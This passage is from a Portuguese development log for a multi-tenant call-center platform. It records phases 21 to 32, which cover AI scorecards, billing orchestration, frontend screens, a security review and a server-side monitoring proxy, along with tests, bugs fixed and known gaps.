  • apps/api/src/ai/ai-prompts.controller.ts: CRUD de AIPromptTemplate/AIPromptVersion (secao 114-116), mesma RLS híbrida GLOBAL/tenant dos providers/models; versões nunca editadas in-place, activeVersionId aponta pra qual está em uso
  • Testado ponta a ponta contra o b2bcall-ai-worker real (não mocks) e Postgres real com RLS: cascata de privacidade+entitlement em 3 cenários reais (permissivo→job criado, tenant AI_OFF→nada, privacidade OK mas Plan sem IA→nada), WAV sintético real gravado no object storage + Recording real + AIJob real reservado via SKIP LOCKED pelo worker, download+split+resolução de provider bem-sucedidos, chamada de rede real tentada contra loopback fechado (nunca saiu da máquina), falha real, retry com backoff de 30s, dead-letter exatamente na tentativa configurada; processAnalysisJob com transcrição semeada manualmente seguiu o mesmo caminho até a falha de rede esperada
  • Nunca exercitado: chamada de rede real contra OpenAI/Anthropic (mesma restrição de rede desde o Provider Layer); encadeamento automático TRANSCRIPTION→ANALYSIS a partir de uma transcrição bem-sucedida (só testável a partir de uma transcrição semeada manualmente, já que nenhuma chamada real completa sem rede); convenção de canal 0=cliente/1=agente contra áudio real distinguível (só tons sintéticos)
  • Scorecards/QA (secao 117-118) e Dashboard IA (secao 119) — PHASE 21 (Usage Metering completo/reports de custo, secao 124, fica pra quando a fase Billing começar — os AIUsageRecord já são gravados desde a PHASE 20, só falta o relatório em cima deles)

PHASE 21 — IA: Scorecards/QA/Dashboard (agente.md secao 117-119) — ver

docs/QUALITY_SCORECARDS.md

  • QualityScorecard/QualityScorecardItem/QualityEvaluation já existiam desde a migration ai_module (PHASE 19) — só faltava código; sem lista fixa de critérios hardcoded (secao 117), cada tenant define os seus (weight/description/evaluation_prompt)
  • Novo AIJobType.SCORECARD_EVALUATION (migration 20260828194146_ai_job_scorecard_evaluation, só ALTER TYPE ... ADD VALUE, sem RLS pra mexer)
  • apps/api/src/quality/quality-scorecards.controller.ts: CRUD (create com items aninhados numa tacada só, list, soft delete)
  • apps/ai-worker/src/process-scorecard.ts: avalia contra TODOS os scorecards habilitados do tenant (uma QualityEvaluation por scorecard, não só o primeiro), prompt montado dinamicamente a partir dos itens de cada um, JSON Schema (QUALITY_EVALUATION_JSON_SCHEMA) só define a FORMA da resposta (score + mapa de criterionScores) já que as chaves variam por scorecard; nunca guarda chain-of-thought (secao 118, explícito), redige dados sensíveis sempre antes de sair pro provider
  • Encadeado a partir de process-transcription.ts, junto com ANALYSIS: mesma decisão de privacidade + exige pelo menos 1 scorecard habilitado (senão nem cria o job)
  • GET /reports/ai-dashboard (secao 119): chamadas analisadas, score médio (2 conceitos diferentes — avgQualityScore de CallAIAnalysis e avgScorecardScore de QualityEvaluation, a especificação não distingue os dois), sentimento, principais assuntos/objeções, compliance alerts, ranking de agentes
  • Testado ponta a ponta contra o b2bcall-ai-worker real e Postgres real com RLS: scorecard real com 2 critérios criado via API, processScorecardJob montou o prompt a partir dos itens reais, resolveu provider, redigiu o texto, tentou rede real (loopback fechado), falhou como esperado; job SCORECARD_EVALUATION real reservado via SKIP LOCKED, retry+dead-letter corretos; endpoints novos confirmados no ar (401 sem token, não 404)
  • Nunca exercitado: chamada de rede real contra OpenAI/Anthropic (mesma restrição de todo o módulo de IA); uma QualityEvaluation completando de verdade (só via dead-letter, sem rede real)

PHASE 22 — Usage Metering / Billing (agente.md secao 120-139) — ver

docs/BILLING.md

  • Migration billing (PlanVersion/TenantSubscription/PriceBook+ PriceBookItem/RateDeck+RateDeckEntry/UsageEvent/ RatedUsageItem/BillingPeriod/BillingStatement+ BillingStatementItem, RLS nas tenant-scoped) e packages/billing (RatingEngine puro: longest-prefix match, rating por destino/ fallback plano, prorateio de dias ativos, tokens/transcrição de IA, armazenamento) já existiam de uma sessão anterior interrompida — só a orquestração (I/O) e os endpoints faltavam
  • apps/api/src/billing/billing-engine.service.ts: closeBillingPeriod/reopenBillingPeriod — lê os 2 ledgers imutáveis (UsageEvent+AIUsageRecord) ainda não tarifados (ratedUsageItems: { none: {} }), grava 1 RatedUsageItem por evento (nunca agrega antes de ratear), soma PLAN_BASE da TenantSubscription ativa, agrega por categoria em BillingStatementItem. Fechamento imutável (secao 137): CLOSED de novo é 409, só reopen explícito (audit trail) permite recalcular
  • Escritores do ledger UsageEvent: CALL_SECONDS em apps/freeswitch-events/src/cdr.ts::finalizeCall (mesma transação do CDR); EXTENSION_ACTIVE_DAY/AGENT_ACTIVE_DAY/ TRUNK_ACTIVE_DAY em apps/api/src/billing/active-day-sweep.ts (boot + hora em hora, idempotente por dia)
  • Controllers: PriceBooksController/RateDecksController/ PlanVersionsController (catálogo global, pricing.manage + isPlatformUser), SubscriptionsController/ BillingPeriodsController (billing.manage + isPlatformUser, tenantId explícito no body — ação de platform admin sobre um tenant arbitrário), BillingStatementsController (billing.view, sempre o próprio tenant do JWT)
  • Bug real, achado no teste desta fase: reopenBillingPeriod lia o período sem tenant context — billing_periods tem FORCE RLS, então a leitura nunca via a linha e "not found" virava 500 em vez de 404. Corrigido exigindo tenantId explícito no reopen (igual ao close) e lendo dentro de withTenantContext.
  • Bug real, achado no teste desta fase: SubscriptionsController criava/lia TenantSubscription sem withTenantContext — RLS rejeitava o create e o list sempre voltava vazio. Corrigido.
  • Teste unitário do RatingEngine (packages/billing, 17 casos, pnpm --filter @b2bcall/billing run test) + testado ponta a ponta contra a API real e Postgres real com RLS: período fechado com 8 RatedUsageItems (chamada, 3 dias de ramal ativo, transcrição, análise, tokens de entrada/saída) e total batendo exatamente com o cálculo manual; fechar 2x = 409; reopen + reclose reusa os itens já tarifados; reopen com tenant errado = 404 (RLS isolando de verdade); tenant admin sem role de plataforma barrado (403) de fechar mas lista as próprias statements normalmente; runActiveDaySweep chamado 2x no mesmo dia sem duplicar
  • Lacuna real, conhecida: Call.calledNumber ainda não é populado pelo CDR (PHASE 17) — CALL_SECONDS sempre usa o fallback plano (CALL_MINUTE), nunca o RateDeck por destino real (longestPrefixMatch/rateCallByDestination só testados isoladamente, não ponta a ponta)
  • RECORDING_BYTES usa o storage atual no momento do fechamento como proxy do período inteiro (sem histórico de tamanho por dia) — decisão documentada em docs/BILLING.md, não uma média ponderada
  • Reajuste de preço no meio de um período aberto (2 vigências sobrepostas de PriceBookItem/RateDeckEntry) nunca exercitado
  • UI de platform admin pra price book/rate deck — PHASE 23. Ainda sem UI pra criar tenant/plano/assinatura (não há nem endpoint de listagem de tenants) — só via API/script direto.

PHASE 23 — Frontend: app shell, login, dashboard, Billing > Tarifas

(agente.md secao 161-176)

  • apps/frontend (Next.js 15 App Router, React 19, Tailwind, TanStack Query/Table instalados mas não usados ainda, Recharts, Lucide) — primeiro commit do frontend
  • Design tokens (secao 165) derivados do logo real: navy/azul/teal, light+dark+system (ThemeToggle, classe em <html> + localStorage, lido antes do primeiro paint pra não piscar)
  • Login (secao 167): split brand/form, sessão em cookie httpOnly (/api/login, /api/logout) — o access token nunca chega a JS legível no browser (apiFetch só roda em Server Component/Server Action, nunca no client)
  • Shell Platform (secao 166, 168): sidebar fixa colapsável + topbar + conteúdo, IA completa dos 2 menus renderizada (itens sem página viram "em breve", nunca link morto) — implementação de referência do design system (Product Principle #5)
  • Dashboard "Visão Geral" (secao 163): InstrumentTile com leitura tipo painel/instrumento (mono, tabular), value === null vira traço fantasma com explicação (pending) em vez de fingir "0" — nunca um número inventado (secao 138)
  • Billing > Tarifas (primeira tela CRUD real, contra a API de billing da PHASE 22): price books + rate decks — listagem com busca/ ordenação client-side, criação com itens/entradas dinâmicos via Server Actions ("use server", chamadas como função direto do client component, não <form action> — precisa de arrays dinâmicos), detalhe. Testado ponta a ponta contra a API real: criar price book pela UI de verdade → redirect pro detalhe → volta pra lista com o item novo, contagem e badge "Padrão" corretos
  • Bug real, achado nesta fase: a topbar tinha o título fixo "Visão Geral da Plataforma" em toda página (Tarifas mostrava o título errado). Corrigido com getPageMeta(pathname) resolvendo título/descrição pelo item de menu ativo (casa pelo href mais longo, então uma subrota tipo /price-books/:id ainda resolve pro item de menu certo).
  • Bug real, achado nesta fase: a sidebar fixa de 256px não tinha nenhuma versão mobile — abaixo de lg o conteúdo ficava espremido em ~130px (secao 175: o próprio celular do agente precisa funcionar). Corrigido com MobileNavDrawer (Radix Dialog, foco preso + Escape + fecha ao navegar) reaproveitando a mesma NavList da sidebar desktop — uma correção no shell compartilhado, beneficia toda página existente e futura.
  • Testado em navegador de verdade (Puppeteer + Chrome headless, instalado nesta sessão pra isso — sem extensão de browser disponível): desktop 1440px + mobile 390px, light + dark, fluxo de criação real ponta a ponta. Screenshots em apps/frontend/.impeccable/review/.
  • Consumo/Fechamentos/Relatórios (as outras 3 abas de Billing) e Clientes/Infraestrutura/IA/Sistema inteiros ainda ficam "em breve" — dependem de um seletor de tenant real, e não existe endpoint de listagem de tenants ainda (nem tenant CRUD) pra construir um
  • Sem paginação de servidor/coluna-visível/bulk-actions/export nas tabelas de Tarifas (secao 173 pede em toda tabela) — decisão deliberada pra um catálogo global de poucas dezenas de linhas, documentada no rodapé da própria tela; reavaliar se isso deixar de ser verdade
  • TanStack Query/Table instalados, ainda não usados — Tarifas busca tudo server-side (Server Component) e filtra/ordena no client com useState/useMemo puro, sem cache de query; suficiente pro tamanho de catálogo atual

PHASE 24 — Frontend: shell compartilhado, fluxo de login multi-tenant,

app do Tenant + Dashboard (agente.md secao 162, 169)

  • Bug real, achado nesta fase: o fluxo de login sempre mandava pra /platform, mesmo pra um usuário que não é platform admin — nunca chamava /auth/tenants/select-tenant. Corrigido com POST /api/post-login (Route Handler server-side): decide platform vs tenant, e no caso de 1 tenant só já troca o access token (select-tenant) antes de redirecionar — o client nunca vê token nenhum. Mais de 1 tenant vai pra /select-tenant (nova página, TenantPicker + Server Action chooseTenant).
  • GET /auth/me agora inclui tenant: {id, code, name} | null (nome do tenant ativo do JWT) — precisa pra topbar/sidebar do app do tenant mostrarem de quem é a conta.
  • apps/platform/layout.tsx e apps/app/layout.tsx (novo) se protegem mutuamente: platform admin sem tenant ativo cai em /platform; qualquer um tentando /platform sem isPlatformUser cai em /app; sem tenant ativo nenhum e sem ser platform admin cai em /select-tenant.
  • Shell refatorado pra ser compartilhado (components/shell/: Sidebar/Topbar/MobileNavDrawer/NavList/getPageMeta, parametrizados por items: NavSection[]) — o menu Platform (secao 168) e o menu Tenant (secao 169, tenant-shell/nav-data.ts) usam a mesma implementação, só os dados mudam.
  • Bug real, achado nesta fase: passar PLATFORM_NAV/TENANT_NAV (array com icon: LucideIcon, ou seja funções) como prop de um Server Component (layout.tsx) pra um Client Component (Sidebar/Topbar) quebra a serialização RSC ("Functions cannot be passed directly to Client Components"). Corrigido com wrappers client-only por área (platform-sidebar.tsx/ platform-topbar.tsx/tenant-sidebar.tsx/tenant-topbar.tsx) que importam o nav-data direto (nunca recebem como prop vindo do server) — só dados serializáveis (strings) cruzam a fronteira.
  • GET /reports/dashboard (novo, agente.md secao 162): leitura ao vivo (não aceita from/to como o resto de ReportsController) — chamadas hoje/atendidas/em andamento/esperando agente, agentes por estado (disponível/ocupado/pausado via AgentState), TME/TMA/ answer rate/abandon rate do dia, "Consumo do plano" (chamadas hoje vs Plan.maxDailyCalls — decisão desta implementação, a especificação não define o que "consumo" significa aqui) e "Valor estimado no mês" (null até existir BillingStatement do mês corrente — mesma disciplina de honestidade do PlatformOverviewController, nunca um valor calculado ad hoc fora do RatingEngine).
  • Dashboard do tenant (/app) consumindo esse endpoint, mesmo InstrumentTile/ghost-dash da PHASE 23.
  • Testado ponta a ponta com um tenant real semeado (admin@acme.b2bcall.local, tenant "Acme Call Center", plano trial): login → /app direto (1 tenant só); platform admin continua indo pra /platform (regressão confirmada); tenant admin tentando /platform é mandado de volta pra /app; dashboard mostra zeros reais (nenhuma chamada/agente ainda) com os textos pending corretos, "Consumo do plano" mostra 0 de 200 hoje batendo com maxDailyCalls do plano trial; drawer mobile abre e fecha corretamente; dark mode conferido. Screenshots em apps/frontend/.impeccable/review/.
  • Menu Tenant fora Dashboard/Telefonia > Ramais (Discador/Call Center/Troncos/Dialplan/Monitoramento/Gravações/IA/Relatórios/ Administração) ainda "em breve"
  • "Itens sem permissão não aparecem" (secao 169) não é aplicado ainda — a IA do tenant aparece inteira pra qualquer usuário autenticado do tenant, independente das permissions reais dele

PHASE 25 — Frontend: Telefonia > Ramais (agente.md secao 39-40, 169,

  • POST /extensions/:id/reset-password (novo endpoint) — só forma de "editar" a senha SIP é gerar uma nova e mostrar ela UMA vez (mesmo caminho da criação, secao 39: nunca reexpor a existente). b2bcall-fs-config resolve o directory ao vivo por request, sem arquivo/sync intermediário — um UPDATE já é suficiente, sem precisar notificar nada.
  • Tela /app/telefonia/ramais: listagem com busca/ordenação (mesmo padrão client-side da Tarifas), criação (número, nome, caller ID) com reveal da senha SIP gerada (SecretReveal, novo componente: aviso + valor monoespaçado + copiar), detalhe com "Redefinir senha" (confirmação inline de 2 cliques, sem modal) e "Remover ramal" (zona de risco, mesma confirmação inline, soft delete). Cada tela deixa explícito de qual tenant os ramais são (nome do tenant na descrição da lista e no cabeçalho do detalhe) — pedido explícito do usuário, além do isolamento por RLS que já existia.
  • Bug real, achado nesta fase: apiFetch (frontend) sempre mandava Content-Type: application/json mesmo em requests sem body (POST .../reset-password, DELETE) — o parser de body do Fastify rejeita body vazio com esse header ("Body cannot be empty when content-type is set to 'application/json'"), então toda ação sem payload quebrava com 400. Nunca tinha aparecido antes porque Tarifas só fazia POST com body. Corrigido: o header só vai quando init.body existe de verdade — provavelmente afeta outras ações futuras sem payload, não só Ramais.
  • Testado ponta a ponta com o tenant real (Acme Call Center): criar ramal 1500 → senha revelada uma vez → ver detalhe → redefinir senha → nova senha diferente da original confirmada → voltar pra lista (1 ramal, badge "Ativo") → remover → lista vazia de novo. Dark mode e mobile conferidos.
  • Editar outros campos (nome, caller ID, contexto, registros) ainda não existe — nem no backend (só create/get/list/delete/reset- password) nem no frontend; só a senha tem "edição" por enquanto, conforme pedido
  • Quota de ramais (maxExtensions) já é aplicada pelo backend desde a PHASE 14, mas a UI não mostra consumo/limite antes de tentar criar — o erro 403 apareceria só depois do submit

PHASE 26 — Frontend: Discador > Campanhas (agente.md secao 63-86, 170)

  • Tela /app/discador/campanhas: listagem com busca + filtro de status + ordenação, StatusBadge (já existia desde o design system da Tarifas, criado exatamente pra status de campanha — só faltava WAITING_SCHEDULE, adicionado). Nomes de fila/tronco resolvidos client-side (a lista busca /queues+/trunks junto, sem precisar mudar o backend). Aviso explícito quando o tenant ainda não tem fila+tronco (pré-requisito real pra criar qualquer campanha).
  • Wizard de criação em 7 passos, exatamente como a especificação nomeia (secao 170): Geral → Telefonia → Discagem → Horários → Gravação e IA → Leads → Revisão. Nada é criado até confirmar na Revisão (POST /campaigns e, se um CSV foi anexado no passo Leads, POST /campaigns/:id/leads/import na mesma ação — a campanha nunca fica "meio criada" se o import falhar, só reporta o problema). Upload de CSV lido no browser via FileReader (endpoint espera o CSV cru no body, não multipart).
  • Detalhe da campanha: StatusBadge + ações de ciclo de vida (Iniciar/Pausar/Drenar/Parar, cada botão só aparece quando a transição é válida pro status atual — mesma tabela ALLOWED_TRANSITIONS do backend, duplicada no client só pra UI, o backend segue sendo a autoridade), pacing ao vivo (GET /campaigns/:id/stats), configuração completa, prévia de leads (até 20, com import adicional) e remover (zona de risco, só quando parada).
  • Bug real, achado nesta fase: startCampaign/pauseCampaign/ drainCampaign/stopCampaign eram const x = (id) => transition(...) — Next.js exige que toda Server Action exportada seja uma async function de verdade, não uma arrow function que apenas retorna uma Promise (erro de build: "Server Actions must be async functions"). Corrigido; útil lembrar em qualquer ação futura que só repassa argumentos pra outra função.
  • Achado sistêmico, não é bug novo: @@unique([tenantId, name]) em Campaign não exclui deletedAt — não dá pra reusar o nome de uma campanha apagada, mesma classe de problema já documentada pra Agent/Extension/Trunk/Queue/PauseReason na PHASE 12.
  • Testado ponta a ponta contra a API real com fila+tronco reais (semeados via API pro tenant Acme): os 7 passos do wizard preenchidos e revisados (screenshot da Revisão confere cada valor), campanha criada com CSV de 3 leads importado (imported: 3, total: 3 batendo), ciclo de vida completo start→pause→ drain→stop→delete confirmado via API, e confirmado que uma campanha iniciada de verdade é pega pelo PredictiveDialerEngine real rodando em Docker (stats deixam de ser null depois de alguns segundos — answerProbability/pacingFactor reais aparecem na tela, não só o placeholder "sem tentativas ainda").
  • Discador > Leads (tela dedicada, fora do wizard/detalhe) e Importações continuam "em breve" — a prévia de leads no detalhe da campanha cobre o básico, mas não pagina nem edita leads individualmente
  • O detalhe da campanha não escuta o WebSocket de monitoramento (secao 161) — stats/callsInFlight só atualizam ao recarregar a página, não em tempo real

PHASE 27 — Frontend: Call Center > Filas/Pausas/Disposições, Telefonia >

Troncos, Discador > Lista de Bloqueio (agente.md secao 50-51, 41-42, 71, 89, 169)

  • 5 telas novas, mesmo padrão de listagem+form inline+remoção com confirmação de 2 cliques já usado em Ramais/Tarifas: /app/callcenter/ filas, /app/callcenter/pausas, /app/callcenter/disposicoes, /app/telefonia/troncos, /app/discador/bloqueio — todas contra endpoints que já existiam desde as fases de backend (Queues/ PauseReasons/Dispositions/Trunks/Suppression), nenhum endpoint novo precisou ser criado
  • lib/callcenter-types.ts (novo): tipos Queue/Trunk/PauseReason/ Disposition/SuppressionEntry compartilhados entre as 5 telas
  • StatusBadge ganhou o mapa de TrunkStatus (UP/REGISTERED/DOWN/ TRYING/FAILED/UNREGISTERED/UNKNOWN) — mesmo componente usado por Campanhas, sem colisão de chave com CampaignStatus
  • nav-data.ts: as 5 rotas saem de "em breve" pra link real; resta só Agentes (Call Center), Dialplan (Telefonia), Leads/Importações/ Callbacks (Discador) "em breve" no menu Tenant
  • Bug real, achado testando a tela de Pausas: PauseReasonsController.list() era o único endpoint do arquivo sem filtro enabled: true — um motivo removido (soft delete) nunca sumia da listagem. Corrigido.
  • Testado ponta a ponta contra a API real (tenant Acme) depois de reerguer apps/api e apps/frontend do zero pós-reboot da VM (ver "Riscos conhecidos" — os dois rodam direto no host, fora do docker-compose, e não voltam sozinhos): criar fila/pausa/disposição/ tronco/bloqueio de número → aparece na lista com os dados certos → remover com confirmação de 2 cliques → lista volta ao estado vazio. Screenshots em apps/frontend/.impeccable/review/.
  • Editar campos existentes (só create/list/delete em todas as 5, mesma limitação já documentada em Ramais) — nenhum backend novo tem PATCH/PUT ainda
  • Tronco: Trunk.status continua sem atualização automática em produção (lacuna já documentada na PHASE 09/TRUNKS.md) — a tela só exibe o StatusBadge, não força refresh nem faz polling
  • Dark mode e mobile não foram capturados nesta fase (só desktop light, mesma decisão de escopo das últimas telas simples) — reavaliar junto com a Sidebar quando "Agentes" ganhar tela própria

PHASE 28 — Segurança, testes de regressão, Frontend: Relatórios

(agente.md secao 157-160, 119, 183-184, 202, 224)

  • Security quality gate (secao 224): review dedicado (subagente independente) sobre o diff completo desde origin/main (billing orchestration + todo o frontend novo, 7 commits) — auth/sessão, todos os controllers NestJS tocados, permission.guard.ts, RLS da migration de billing, todas as Server Actions novas do frontend. Nenhum achado com confiança >= 7/10 (nem IDOR, nem bypass de tenant, nem segredo vazado em resposta/log). Ver seção "Auditoria de segurança" no relatório desta sessão (não persistida em arquivo — resultado: limpo).
  • Portas sensíveis (secao 184) conferidas depois do reboot da VM: Postgres (5432) e Redis (6379) só em 127.0.0.1, Event Socket (8021) não publicado no host, apps/api (3000) só em 127.0.0.1. Único listener em todas as interfaces é o apps/frontend (3001, dev server) — necessário pra o usuário testar de fora da VM; token de acesso nunca chega no browser (arquitetura desde a PHASE 23), então isso não expõe a API real.
  • Testes de regressão (secao 202) re-executados do zero pós-reboot pra confirmar que nada quebrou: test:isolation (RLS multi-tenant), test:auth (login/RBAC/refresh rotation/logout), packages/billing (RatingEngine, 17 casos) — todos verdes.
  • Frontend > Relatórios (secao 157-160, 119): 4 páginas novas — /app/relatorios/{filas,agentes,campanhas,ia} — cada uma sua própria rota (não abas de uma página só: 4 itens de menu apontando pro mesmo href fariam a sidebar realçar os 4 ao mesmo tempo, ver components/shell/nav-list.tsx). Reusa os endpoints que já existiam desde a PHASE 17/21 (GET /reports/{queues,agents,campaigns,ai- dashboard}), nenhum endpoint novo. Últimos 30 dias fixo, sem seletor de período ainda (decisão deliberada, documentada na própria tela).
  • Menu Tenant: "Relatórios > Agentes/Filas/Campanhas" e "IA > Análises" saem de "em breve"; "Relatórios > Chamadas/Consumo" e o resto do menu IA continuam pendentes.
  • Testado ponta a ponta contra a API real (tenant Acme, ainda sem chamadas reais) — as 4 telas renderizam os estados vazios corretos (honestos: 0 quando é contagem real, traço fantasma com explicação quando é média sem dado), título/descrição da topbar resolvidos corretamente por rota (sem a ambiguidade que teria dado se as 4 dividissem um href).
  • Escopo real ainda faltando pra "aplicação finalizada" segundo o agente.md completo (236 seções) — não coberto nesta fase, listado explicitamente em vez de fingir completo: - Monitoramento em tempo real (secao 54-55, 161) — WebSocket já existe no backend (RealtimeGateway), zero cliente no frontend. - Gravações (player de áudio, secao 121) e IA > Scorecards/Prompts/ Configurações (CRUD, secao 114-118) — backend pronto, zero UI. - Relatórios > Chamadas (lista filtrável) e > Consumo (dashboard de quotas, secao 139) — sem tela ainda. - Menu Platform: Clientes/Infraestrutura/Sistema inteiros "em breve" (só Billing > Tarifas e o dashboard existem). - "Itens sem permissão não aparecem" (secao 169) nunca foi aplicado — lacuna conhecida desde a PHASE 24. - Nenhuma bateria de teste automatizado de frontend (E2E/component) existe — toda verificação até aqui foi manual via Puppeteer + screenshot, sessão a sessão. - apps/api/apps/frontend continuam sem supervisor de processo (ver "Riscos conhecidos") — não sobrevivem a um reboot sozinhos. - nginx / TLS / domínio público (PHASE 01, pendência original) continuam sem existir — o acesso de teste é direto na porta 3001 da VM, sem HTTPS.

PHASE 29 — Frontend: Call Center > Agentes, Telefonia > Dialplan

(agente.md secao 45, 43-44)

  • Lacuna de backend fechada primeiro: GET /users (novo, apps/api/src/users/) — lista os usuários do tenant ativo via TenantMembership (join, mesma tabela/RLS já usada em listUserTenants), gated por users.manage (não agents.manage de propósito: listar identidade de login é administração de usuário, não de call center — um supervisor com agents.manage mas sem users.manage gerencia agentes já provisionados, mas não lista usuários pra criar um novo). Só o necessário pra desbloquear o seletor de Agentes; convite/criação de usuário continua só via script.
  • Call Center > Agentes (/app/callcenter/agentes): criar (usuário + nome + ramal opcional + máx. não-atendidas + pós-atendimento), listar (usuário/e-mail, ramal, estado), remover (soft delete). O seletor de usuário só mostra quem ainda não é agente (filtro client-side, backend segue sendo a autoridade); ramal segue a mesma lógica. Estado do agente (AgentState) tem badge própria — não reusa StatusBadge: PAUSED já existe nesse mapa global pro status de campanha ("Pausada"), reaproveitar mostraria o texto errado pra um agente em pausa.
  • Telefonia > Dialplan (/app/telefonia/dialplan): editor estruturado do contexto default (fixo nesta primeira versão — todo o sistema só usou um contexto até aqui) — criar regra (nome, campo/expressão da condição, lista dinâmica de ações com a mesma allowlist do backend, ordem, continuar-se-falhar), listar em ordem de avaliação, remover. Painel de Versões: gerar rascunho a partir das regras atuais, ativar (reativar uma versão antiga é o rollback, sem endpoint separado — mesmo texto já usado no backend). ACTIVE/ SUPERSEDED novos no mapa de StatusBadge; DRAFT reusa o rótulo que já existia pra campanha (mesmo conceito, sem conflito).
  • Testado ponta a ponta contra a API real (tenant Acme): Agentes — criar agente ligado ao próprio usuário logado (único usuário do tenant neste estágio) → aparece na lista com estado Offline → remover → volta vazio, botão "Novo agente" reabilitado. Dialplan — criar regra destination_number ~ ^1[0-9]{3}$ com ação bridge(${destination_number}) → gerar v1 (DRAFT) → ativar → badge "Ativa" confirmado. Smoke test de regressão nas 13 telas anteriores do tenant + platform, todas 200 sem quebrar nada.
  • Bug real de segurança, achado numa revisão dedicada depois desta fase (PHASE 31): POST /agents nunca verificava que dto.userId/dto.extensionId pertencem ao tenant de quem está chamando — um FK do Postgres só checa que a linha existe, não que ela é visível sob a RLS da sessão atual, então um userId/ extensionId de outro tenant seria aceito silenciosamente (secao 31/146: nunca confiar em id vindo do client sem checar contra o tenant do JWT — o frontend já só oferece opções do próprio tenant, mas isso é conveniência de UI, o backend é a autoridade). Corrigido com uma checagem explícita de TenantMembership/ Extension antes do create, 400 se não pertencer. Impacto prático limitado (precisaria adivinhar um UUID de outro tenant, e o agente criado ficaria órfão/inerte — o usuário referenciado nunca teria tenantId ativo igual ao do agente sem ter membership de verdade), mas corrigido de qualquer forma por princípio arquitetural. Reverificado ponta a ponta depois da correção: criação legítima continua funcionando igual.
  • Sem paginação/uniqueness real em Agent.userId/extensionId — o "só quem não é agente ainda" é conveniência de UI, não constraint de banco (mesma classe de lacuna sistêmica da PHASE 12, @@unique + soft delete)
  • Dialplan: só 1 contexto (default), sem editor de antiActions, sem reordenar por drag-and-drop (edita order como número) — todas decisões deliberadas de escopo, mesmas simplificações já existentes no backend desde a PHASE 10

PHASE 30 — Frontend: Relatórios > Chamadas, Gravações

(agente.md secao 90-94, 121, 157)

  • Relatórios > Chamadas (/app/relatorios/chamadas): lista das últimas 500 chamadas dos últimos 30 dias, nomes de fila/agente/ campanha/disposição resolvidos client-side (mesmo padrão de Campanhas/Bloqueio), busca por telefone. Só o filtro de telefone desta primeira versão — o backend já aceita ramal/agente/fila/ campanha/tronco/hangup cause/disposição, sem UI pra eles ainda.
  • Gravações (/app/gravacoes): lista + player de áudio + download. Achado de arquitetura, resolvido antes de codar: <audio src>/<a download> do browser não mandam Authorization: Bearer ... (só cookie), e a API deliberadamente nunca expõe o storage por URL direta (secao 121) — criado um proxy autenticado (/api/recordings/[id]/audio, Route Handler) que lê o cookie de sessão, refaz a chamada real pra apps/api com o access token do lado do servidor, e reencaminha o stream; troca Content-Disposition: attachment (da API) por inline (pro player tocar em vez de forçar download) — quem quiser baixar usa o atributo download do <a>, mesma origem, ignora o header do servidor. Mesmo princípio de apiFetch: token nunca chega em JS legível no browser.
  • Testado ponta a ponta contra a API real (tenant Acme): as duas telas renderizam estado vazio honesto (nenhuma chamada/gravação real neste tenant ainda — precisa de uma campanha rodando de verdade); proxy de áudio confirmado devolvendo 401 sem cookie de sessão. Smoke test de regressão nas 15 telas anteriores do tenant + platform, todas 200.
  • Nunca exercitado: o proxy de áudio contra uma gravação real (nenhuma foi gerada nesta sessão — precisa de uma campanha com recordingEnabled=true rodando via PredictiveDialerEngine de verdade, como na PHASE 18, não reproduzido aqui por tempo). Comportamento de <audio>/download nunca visto num browser de verdade com um WAV real tocando.
  • Relatórios > Chamadas: sem os outros filtros (ramal/agente/fila/ campanha/tronco/hangup cause/disposição) nem seletor de período — só telefone
  • Relatórios > Consumo (dashboard de quotas, secao 139) — ainda "em breve"

PHASE 31 — Frontend: IA > Scorecards, Prompts, Configurações

(agente.md secao 96-103, 114-118)

  • IA > Scorecards (/app/ia/scorecards): criar (nome + lista dinâmica de critérios com peso, mesmo padrão de array dinâmico do Dialplan), listar em cards (um por scorecard, itens com badge de peso), remover.
  • IA > Prompts (/app/ia/prompts): criar template (finalidade Análise/Scorecard + conteúdo v1), listar com o conteúdo da versão ativa visível. "Editar" o conteúdo dispara POST .../versions + POST .../versions/:id/activate numa ação só (create-então-ativa) — não existe endpoint pra listar o histórico de versões, então a UI não finge ter uma linha do tempo que não dá pra buscar; só o conteúdo ativo é mostrado. Templates Global (da plataforma, tenantId=null, RLS híbrida já resolve a união sem filtro no client) aparecem mas sem botão de editar — só quem tem role de plataforma pode alterar, e o backend rejeitaria com 403 mesmo que o botão existisse.
  • IA > Configurações (/app/ia/configuracoes): providers (BYOK, scope: "TENANT" sempre — a tela nem oferece GLOBAL, que já é exclusivo de platform admin no backend) e modelos (referenciando um provider, capacidades via checkboxes). Chave de API só aparece como preview (...xxxxxxxx) mesmo na resposta de criação — nunca reexibida em texto puro, nem uma vez (diferente do padrão "revela uma vez" de Ramais; aqui a API nunca devolve o valor puro, ponto).
  • Textarea novo em components/ui/input.tsx (mesmo estilo de Input/Select) — primeira tela que precisa de texto longo (conteúdo de prompt).
  • Testado ponta a ponta contra a API real (tenant Acme): scorecard "Atendimento" com critério "Saudação" criado e listado; template "Análise padrão" criado (v1) → editado → v2 ativada e refletida na tela; provider "OpenAI da Acme" (BYOK) criado com preview de chave mascarada → modelo "GPT-4o mini" criado referenciando o provider, com capacidade "Transcrição". Smoke test de regressão nas 16 telas anteriores do tenant + platform, todas 200.
  • Scorecards: sem edição de critérios existentes (só criar scorecard inteiro ou remover) — mesma limitação de "só create/list/delete" já documentada em outras telas simples
  • IA > Configurações não distingue custo por modelo (inputCost/ outputCost/audioCost existem no backend, sem campo no form) — decisão de escopo pra manter o formulário enxuto nesta primeira versão

PHASE 32 — Frontend: Monitoramento em tempo real

(agente.md secao 54-55, 161)

  • Achado de arquitetura, resolvido antes de codar: o RealtimeGateway (backend, já existia desde a PHASE 13) autentica a conexão socket.io via auth.token no handshake — um JWT bruto. Um EventSource/WebSocket do browser não tem como mandar esse token sem ele passar por JS legível no client, quebrando o mesmo princípio seguido em todo o resto do frontend (o access token só existe no cookie httpOnly). Resolvido com um proxy: apps/frontend/src/app/ api/monitoring/stream/route.ts roda no servidor (runtime Node.js), conecta no socket.io real com o access token do lado do servidor (socket.io-client, dependência nova só usada aqui), e reencaminha cada evento pro browser como Server-Sent Events — o EventSource do client só precisa do cookie de sessão (same-origin, automático), nunca do token. Como bônus, elimina qualquer necessidade de mexer em CORS_ORIGIN (a conexão socket.io real é servidor-servidor, nunca passa pelo browser).
